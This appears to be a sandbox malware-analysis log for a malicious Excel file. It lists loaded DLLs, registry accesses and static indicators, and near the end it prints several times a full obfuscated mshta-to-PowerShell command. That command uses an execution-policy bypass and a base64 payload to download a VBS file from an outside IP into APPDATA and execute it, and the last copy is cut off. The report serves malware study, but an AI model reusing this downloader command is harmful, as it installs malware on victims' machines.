Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: wer.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: version.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: feclient.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: sensapi.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: werui.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: dui70.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: duser.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: dwmapi.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: winhttp.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: webio.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: cryptsp.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: credssp.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\DWWIN.EXE	Section loaded: cryptsp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: shcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: Cot90012ARCACONTAL.xls

Static file information: File size 1058816 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.pdbhP\ source: powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.pdb source: powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.pdb source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.pdbhP\ source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp

Source: Cot90012ARCACONTAL.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAg